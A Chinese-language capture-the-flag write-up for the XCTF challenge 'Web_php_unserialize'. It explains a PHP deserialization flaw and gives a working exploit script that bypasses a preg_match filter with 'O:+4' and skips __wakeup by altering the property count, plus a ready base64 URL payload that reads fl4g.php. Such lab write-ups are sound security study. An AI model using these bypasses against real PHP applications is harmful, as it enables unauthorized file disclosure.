首页 > 编程语言 >XCTF-Web_php_unserialize

XCTF-Web_php_unserialize

时间:2023-11-26 17:35:10浏览次数:29  
标签:__ Web php 匹配 file var 序列化 XCTF


访问查看

是一道经典的反序列化题目,尝试解题,大概一下脚本,需要传入var进行反序列化

  1. php代码会先将var传入的值进行base64解码,
  2. 然后进行perg_match()正则匹配判断,如果匹配成立就执行die()方法终止脚本运行
  3. 使用unserialize()方法反序列化我们传入的值
  4. __wakeup()在反序列化时候执行将$file变量赋值为index.php
  5. __destruct在程序销毁的时候使用highlight_file()方法查看$file文件的内容

这里我们的目标就明确了,更改$file值的内容fl4g.php(在注释中),需要绕过两个条件:

  • preg_match()正则匹配
    • 改题目匹配的条件就是/[oc]:\d+:/i,左右两个/代表这是正则匹配的条件,里面[oc]代表使用oc开头,然后后面匹配:,然后d+匹配一个或者多个数字,最后匹配一个冒号,最后/后面的i代表不区分大小写
    • 最后匹配的条件举例如下:O:1234:O:510:C:4321:
  • __wakeup()初始化赋值
    • 使用常见的CVE绕过

上述中,我们反序列化后的对象一般都是O:4:开头,所以需要绕过。在PHP中,O:4:O:+4:的意思是一样的,所以最后脚本如下

<?php

class Demo { 
    private $file = 'fl4g.php';

}
$new = new Demo();

$ser = serialize($new);

// 替换绕过 preg_match
$ser = str_replace("O:4","O:+4",$ser);

// 替换绕过 wakeup
$ser = str_replace(":1:",":2:",$ser);

print(base64_encode($ser));
?>

使用地址栏传入var的值
payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

标签:__,Web,php,匹配,file,var,序列化,XCTF
From: https://www.cnblogs.com/Junglezt/p/17857569.html

相关文章

  • UE,Unity和WebGL技术对比
    title:UE,Unity和WebGL技术对比banner_img:https://drive.studyinglover.com/api/raw/?path=/photos/blog/background/1679397016745.pngdate:2023-3-2119:00:00tags:-元宇宙-ThreeJSUE,Unity和WebGL技术对比随着科技的不断进步和数字化时代的到来,元宇宙(Metaverse)已......
  • Centos下如何Yum安装php5.5、php5.6、php7.0等版本
    1.检查当前安装的PHP包yumlistinstalled|grepphp如果有安装的PHP包,先删除他们yumremovephp.x86_64php-cli.x86_64php-common.x86_64php-gd.x86_64php-ldap.x86_64php-mbstring.x86_64php-mcrypt.x86_64php-mysql.x86_64php-pdo.x86_642、设置yum源WebtaticEL7for......
  • JavaWeb实现文件的上传和下载
    文件的上传和下载,是非常常见的功能,很多系统,或者软件中经常使用文件的上传和下载.比如QQ头像/邮箱中的上传和下载功能/OA系统中审批中附件的上传.1.文件的上传步骤:有一个form标签,method=post请求form标签的encType属性的值必须为multipart/form-data值在form标签中,使......
  • lunatic Erlang 启发的webassembly runtime
    lunatic属于一个webassembly的runtime,提供了隔离,轻量的进程架构模式,可以方便的创建分布式集群(类似erlang提供的集群能力)包含的特性开源 apache以及MIT许可协议高性能 提供了jit编译的wasm安全 核心是wasm的能力容错 提供了类似erlang的supervisiontree能力......
  • Spin 基于rust 开发的开源运行基于webassembly serverless 工具
    spin是基于rust开发的,可以用来开发以及运行基于webassemblyserverless服务的工具包含的特性提供了周边扩展 默认wasm只提供了基本类型的支持,wasm提供了不少扩展可以方便的支持不同语言的调用(比如网络,数据库访问)提供了快速应该开发的cli提供了服务部署的能力 包含了本......
  • web前端基础复习整理
    考试题型:单项选择题:30分(15题)多项选择题:10分(5题)简答题:30分(5题,每题6分)编程题:30分(3题,每题10分)第1章课程简介1.1课程主要内容1.2课程的重要性1.3课程中用到的工具了解第2章Web导论2.1WEB的定义、表现形式和特点网络,互联网等领域超文本,超媒体,超文本传输协议HTTP动态的,图......
  • mysql+php+apache的docker坏境搭建
    1:安装dockersudoaptinstalldocker.io2:安装mysqlsudodockerrun--privileged=true-di--restart=always--nameMySqlForPhp01-p55506:3306-eMYSQL_ROOT_PASSWORD=1234qwer-e--character-set-server=utf8mb4-e--collation-server=utf8mb4_unicode_cimysql:8.0......
  • JavaWeb(上)
    1.TomcatTomcat(全称为ApacheTomcat)是一个开源的JavaServlet容器,也是一个能够托管JavaWeb应用的Web服务器。Tomcat的主要功能是解析和执行JavaServlet、JavaServerPages(JSP)和相关的JavaEE技术。它可以作为一个独立的Web服务器运行,也可以与其他HTTP服务器(如ApacheHTTP服务......
  • javaweb项目中的文件上传下载功能的实现
    框架是基于spring+myBatis的。 前台页面的部分代码:<formaction="${ctx}/file/upLoadFile.do"method="post"enctype="multipart/form-data"id="form"><table><tbody><tr><td>上传文件:</td><tdstyle=&......
  • WEB安全漏洞扫描及其审计
    一.实验目的(1)掌握网络漏洞扫描的原理和方法(2)复习Nmap的使用命令和kali的使用(3)学习开源扫描工具Nikto的使用phpstudy软件下载地址链接:https://pan.baidu.com/s/1g5nvonNm-p57kv-L68q9AQ?pwd=poza提取码:poza二.实验环境Windows7虚拟机一台,kali虚拟机一台 三.实验工具VMW......